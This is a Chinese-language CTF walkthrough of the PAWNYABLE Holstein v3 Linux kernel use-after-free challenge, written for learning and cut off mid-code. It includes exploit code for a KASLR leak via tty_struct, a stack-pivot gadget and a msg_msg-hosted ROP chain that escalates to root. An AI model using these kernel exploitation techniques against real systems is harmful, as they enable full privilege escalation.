Linux内核UAF漏洞利用实战:Holstein v3挑战解析

本文详细解析了Linux内核Use-After-Free漏洞的利用过程,涵盖KASLR绕过、tty_struct结构利用、ROP链构建及msg_msg信息泄露技术,通过Holstein v3挑战展示完整漏洞利用链。

PAWNYABLE UAF Walkthrough (Holstein v3)

引言

我一直想学习Linux内核漏洞利用,几个月前@zer0pts的@ptrYudai发推宣布发布了PAWNYABLE!网站的测试版,这是一个"供中高级学习者学习二进制漏洞利用的资源"。网站上第一个准备好的资料部分就是"Linux内核",这成为我入门学习的绝佳起点。

作者出色地解释了入门所需的所有知识,例如:设置调试环境、CTF专用技巧、现代内核漏洞利用缓解措施、使用QEMU、操作镜像、每CPU slab缓存等。因此,本文将专注于我在挑战中的体验和解决方式。我会尽量限制本文中的冗余信息,如有疑问,最好查阅PAWNYABLE和其他链接资源。

我的起点

PAWNYABLE最终成为我学习Linux内核漏洞利用的绝佳方式,主要是因为我无需花费时间了解内核子系统就能开始涉足漏洞利用的元游戏。例如,如果你是那种通过实践学习的人,第一次尝试学习这些东西是为CVE-2022-32250编写自己的漏洞利用程序,你首先需要花费大量时间学习Netfilter。相反,PAWNYABLE为你提供了几个错误类别中漏洞的直接示例,然后开始展示如何利用它。我认为这种策略对我这样的初学者非常有效。值得注意的是,在花费一些时间使用PAWNYABLE后,我已经能够为类似CVE-2022-32250的真实世界漏洞编写一些利用程序,因此我的策略确实证明是富有成效的(至少对我来说)。

过去三年我一直在做低级二进制相关工作(主要在Linux上)。最初我对学习二进制漏洞利用非常感兴趣,但逐渐转向漏洞发现和模糊测试。自2020年初以来,模糊测试一直吸引着我,开发自己的模糊测试框架实际上导致我在过去几年中成为全职软件开发人员。因此,在深入研究模糊测试之后(客观地说,与整个模糊测试领域相比并不算深入,但对新手来说已经很深),我想回过头来学习至少一些适用于现代目标的二进制漏洞利用方面。

Linux内核作为一个目标,似乎是多个方面的完美结合:由于缺乏缓解措施,相对容易编写利用程序;可利用的漏洞及其产生的利用具有广泛而重大的影响;并且有针对Linux内核漏洞利用的活跃赏金系统/计划。顺便提一下,过去几年在Linux内核模糊测试领域取得了一些巨大进展,所以我知道专攻这个领域将使我能够快速掌握这些方法/工具。

因此,在开始之前,我具备了基本的二进制漏洞利用基础(主要是过时的Windows和Linux用户空间内容)、几年的C开发经验(包括一些Linux内核模块)和一些逆向工程技能。

我的做法

首先,我阅读了以下PAWNYABLE部分(部分名称已通过Google翻译为英文):

  • 内核漏洞利用介绍
  • 使用gdb进行内核调试
  • 安全机制(漏洞利用缓解措施概述)
  • 编译和传输漏洞利用程序(处理内核镜像)

这是一个很好的起点,因为一切组织得如此之好,你无需花费时间设置环境,基本上只需复制粘贴几个命令,就可以通过GDB(甚至使用GEF)远程调试内核。

接下来,我开始研究第一个挑战,即Holstein v1中基于堆栈的缓冲区溢出漏洞。这是一个很好的起点,因为你可以立即控制指令指针,从中学习CTF玩家(和安全研究人员)通常如何利用内核代码执行来提升权限,如prepare_kernel_credscommit_creds

你可以编写绕过缓解措施的漏洞利用程序或不这样做,这取决于你。我慢慢开始,编写了一个没有启用缓解措施的漏洞利用程序,然后慢慢启用缓解措施并根据需要更改漏洞利用程序。

之后,我开始研究一个流行的Linux内核pwn挑战,称为hxpCTF 2020的"kernel-rop"。我跟随并配合@_lkmidas的以下博客文章进行工作:

  • 学习内核漏洞利用 - 第1部分
  • 学习内核漏洞利用 - 第2部分
  • 学习内核漏洞利用 - 第3部分

这很棒,因为它给了我一个机会巩固从PAWNYABLE堆栈缓冲区溢出挑战中学到的一切,并且我还学到了一些新东西。我还使用(https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/)来补充一些信息。

作为奖励,我还编写了一个利用不同技术提升权限的漏洞利用程序版本:覆盖modprobe_path

在所有这些之后,我觉得我有足够的基础开始UAF挑战。

UAF挑战:Holstein v3

对作者提供的易受攻击驱动程序进行快速漏洞分析清楚地说明了问题。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
char *g_buf = NULL;

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");

  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

当我们打开内核驱动程序时,char *g_buf被分配为kzalloc()调用的结果。

1
2
3
4
5
6
static int module_close(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  return 0;
}

当我们关闭内核驱动程序时,g_buf被释放。正如作者解释的那样,这是一个有错误的代码模式,因为我们可以从程序中打开驱动程序的多个句柄。可能会发生这样的情况。

  • 我们什么都没做,g_buf = NULL
  • 我们打开了驱动程序,g_buf = 0xffff...a0,我们在程序中有fd1
  • 我们第二次打开驱动程序,g_buf = 0xffff...b0。原始值0xffff...a0已被覆盖。它不再能被释放,会导致内存泄漏(不是特别重要)。我们现在在程序中有fd2
  • 我们关闭fd1,它对0xffff...b0调用kfree(),并释放了我们通过fd2引用的相同指针

此时,通过我们对fd2的访问,我们有一个use after free,因为我们仍然可能使用已释放的g_buf引用。该模块还允许我们使用具有读写方法的打开文件描述符。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static ssize_t module_read(struct file *file,
                           char __user *buf, size_t count,
                           loff_t *f_pos)
{
  printk(KERN_INFO "module_read called\n");

  if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }

  if (copy_to_user(buf, g_buf, count)) {
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }

  return count;
}

static ssize_t module_write(struct file *file,
                            const char __user *buf, size_t count,
                            loff_t *f_pos)
{
  printk(KERN_INFO "module_write called\n");

  if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }

  if (copy_from_user(g_buf, buf, count)) {
    printk(KERN_INFO "copy_from_user failed\n");
    return -EINVAL;
  }

  return count;
}

因此,通过这些方法,我们能够读取和写入已释放的对象。这对我们来说很棒,因为我们几乎可以自由地做任何我们想做的事情。我们在某种程度上受到对象大小的限制,该大小在代码中硬编码为0x400。

在高层次上,UAF通常通过创建UAF条件来利用,因此我们有一个在我们控制下的已释放对象的引用,然后我们希望导致分配一个不同的对象来填充先前由已释放对象占用的空间。

因此,如果我们分配了一个大小为0x400的g_buf然后释放它,我们需要在其位置放置另一个对象。这个新对象将成为我们读取和写入的目标。

KASLR绕过

我们需要做的第一件事是通过泄漏一些已知静态偏移的内核镜像基址的地址来绕过KASLR。我开始搜索具有可泄漏成员的对象,再次,@ptrYudai提供了一个用于漏洞利用的有用Linux内核数据结构目录。这引导我找到了tty_struct,它分配在与我们的0x400缓冲区相同的slab缓存上,即kmalloc-1024。tty_struct有一个名为tty_operations的字段,它是一个指向函数表的指针,该函数表是内核基址的静态偏移。因此,如果我们能泄漏tty_operations的地址,我们将绕过KASLR。NCCGROUP在其CVE-2022-32250的利用中也使用了这个结构来实现相同的目的。

需要注意的是,我们目标的slab缓存是每CPU的。幸运的是,挑战给我们的VM只有一个逻辑核心,因此我们不必担心此练习的CPU亲和性。在大多数具有多个核心的系统上,我们必须担心影响特定CPU的缓存。

因此,利用我们的module_read能力,我们将简单地:

  • 释放g_buf
  • 创建dev_tty结构,直到其中一个希望填充g_buf曾经所在的已释放空间
  • 调用module_read以获取g_buf的副本,现在实际上是我们的dev_tty,然后检查tty_struct->tty_operations的值

以下是来自漏洞利用程序的相关代码片段:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// Leak a tty_struct->ops field which is constant offset from kernel base
uint64_t leak_ops(int fd) {
    if (fd < 0) {
        err("Bad fd given to `leak_ops()`");
    }

    /* tty_struct {
        int magic;      // 4 bytes
        struct kref;    // 4 bytes (single member is an int refcount_t)
        struct device *dev; // 8 bytes
        struct tty_driver *driver; // 8 bytes
        const struct tty_operations *ops; (offset 24 (or 0x18))
        ...
    } */

    // Read first 32 bytes of the structure
    unsigned char *ops_buf = calloc(1, 32);
    if (!ops_buf) {
        err("Failed to allocate ops_buf");
    }

    ssize_t bytes_read = read(fd, ops_buf, 32);
    if (bytes_read != (ssize_t)32) {
        err("Failed to read enough bytes from fd: %d", fd);
    }

    uint64_t ops = *(uint64_t *)&ops_buf[24];
    info("tty_struct->ops: 0x%lx", ops);

    // Solve for kernel base, keep the last 12 bits
    uint64_t test = ops & 0b111111111111;

    // These magic compares are for static offsets on this kernel
    if (test == 0xb40ULL) {
        return ops - 0xc39b40ULL;
    }

    else if (test == 0xc60ULL) {
        return ops - 0xc39c60ULL;
    }

    else {
        err("Got an unexpected tty_struct->ops ptr");
    }
}

关于对泄漏值的低12位进行AND操作有一个令人困惑的部分,这是因为在同一启动的多次漏洞利用运行中,我不断得到两个值之一。这可能是因为可以分配两种类型的tty_struct,并且它们是成对分配的。这个if else if块只是处理两种情况并为我们解决内核基址。因此,此时我们已经绕过了KASLR,因为我们知道内核加载的基址。

RIP控制

接下来,我们需要某种方式来劫持执行。幸运的是,我们可以使用相同的数据结构tty_struct,因为我们可以使用module_write写入对象,并且可以覆盖tty_struct->ops的指针值。

struct tty_operations是一个函数指针表,看起来像这样:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
struct tty_struct * (*lookup)(struct tty_driver *driver,
			struct file *filp, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	void (*cleanup)(struct tty_struct *tty);
	int  (*write)(struct tty_struct * tty,
		      const unsigned char *buf, int count);
	int  (*put_char)(struct tty_struct *tty, unsigned char ch);
	void (*flush_chars)(struct tty_struct *tty);
	unsigned int (*write_room)(struct tty_struct *tty);
	unsigned int (*chars_in_buffer)(struct tty_struct *tty);
	int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);
...SNIP...

当对tty_struct实例执行某些操作时,会调用这些函数。例如,当tty_struct的控制进程退出时,会依次调用几个这些函数:close()shutdown()cleanup()

因此,我们的计划将是:

  • 创建UAF条件
  • tty_struct占用已释放的内存
  • tty_struct的副本读回用户空间
  • tty->ops值更改为指向我们控制的伪造函数表
  • 将新数据写回现在已损坏的tty_struct
  • tty_struct执行某些操作,导致调用我们控制的函数

PAWNYABLE告诉我们,一个流行的目标是调用ioctl(),因为该函数接受几个用户控制的参数。

1
2
int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);

从用户空间,我们可以提供cmdarg的值。这给了我们一些灵活性。我们可以为cmd提供的值有些有限,因为unsigned int只有4字节。arg给了我们完整的8字节控制RDX。由于我们可以在调用ioctl()时控制RDX的内容,我们需要找到一个 gadget 来将堆栈旋转到我们可以控制的内核堆中的某些代码。我在这里找到了这样的 gadget:

1
0x14fbea: push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret;

我们将从RDX推送一个值到堆栈,然后稍后将该值弹出到RSP。当ioctl()返回时,我们将返回到我们调用ioctl()时使用的arg值。因此控制流将如下所示:

  • 对我们损坏的tty_struct调用ioctl()
  • ioctl()已被堆栈旋转 gadget 覆盖,该 gadget 将我们的ROP链位置放入RSP
  • ioctl()将执行返回到我们的ROP链

因此,现在我们有一个新问题,如何在内核堆中创建伪造函数表和ROP链,并找出我们存储它们的位置?

创建/定位ROP链和伪造函数表

这就是我开始与作者的利用策略分道扬镳的地方。我无法完全遵循这个问题的预期解决方案,因此开始搜索其他方法。考虑到我们极其强大的读取能力,我想起了@ptrYudai上述结构目录中的msg_msg结构,并意识到该结构非常适合我们的目的,因为它:

  • 在结构体内联存储任意数据(不是通过指向堆的指针)
  • 包含一个链表成员,其中包含同一内核消息队列中前后消息的地址

因此,很快形成了一个策略。我们可以:

  • 在缓冲区中创建我们的ROP链和伪造函数表
  • 将缓冲区作为msg_msg结构的主体发送
  • 使用我们的module_read能力读取msg_msg->list.nextmsg_msg->list.prev值,以了解至少两个消息在堆中的存储位置

有了这种能力,我们将确切知道在调用ioctl()时提供什么地址作为参数,以便将堆栈旋转到我们的ROP链中。以下是来自漏洞利用程序的相关代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// Allocate one msg_msg on the heap
size_t send_message() {
    // Calcuate current queue
    if (num_queue < 1) {
        err("`send_message()` called with no message queues");
    }
    int curr_q = msg_queue[num_queue - 1];

    // Send message
    size_t fails = 0;
    struct msgbuf {
        long mtype;
        char mtext[MSG_SZ];
    } msg;

    // Unique identifier we can use
    msg.mtype = 0x1337;

    // Construct the ROP chain
    memset(msg.mtext, 0, MSG_SZ);

    // Pattern for offsets (debugging)
    uint64_t base = 0x41;
    uint64_t *curr = (uint64_t *)&msg.mtext[0];
    for (size_t i = 0; i < 25; i++) {
        uint64_t fill = base << 56;
        fill |= base << 48;
        fill |= base << 40;
        fill |= base << 32;
        fill |= base << 24;
        fill |= base << 16;
        fill |= base << 8;
        fill |= base;
        
        *curr++ = fill;
        base++; 
    }

    // ROP chain
    uint64_t *rop = (uint64_t *)&msg.mtext[0];
    *rop++ = pop_rdi; 
    *rop++ = 0x0;
    *rop++ = prepare_kernel_cred; // RAX now holds ptr to new creds
    *rop++ = xchg_rdi_rax; // Place creds into RDI 
    *rop++ = commit_creds; // Now we have super powers
    *rop++ = kpti_tramp;
    *rop++ = 0x0; // pop rax inside kpti_tramp
    *rop++ = 0x0; // pop rdi inside kpti_tramp
    *rop++ = (uint64_t)pop_shell; // Return here
    *rop++ = user_cs;
    *rop++ = user_rflags;
    *rop++ = user_sp;
    *rop   = user_ss;

    /* struct t
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计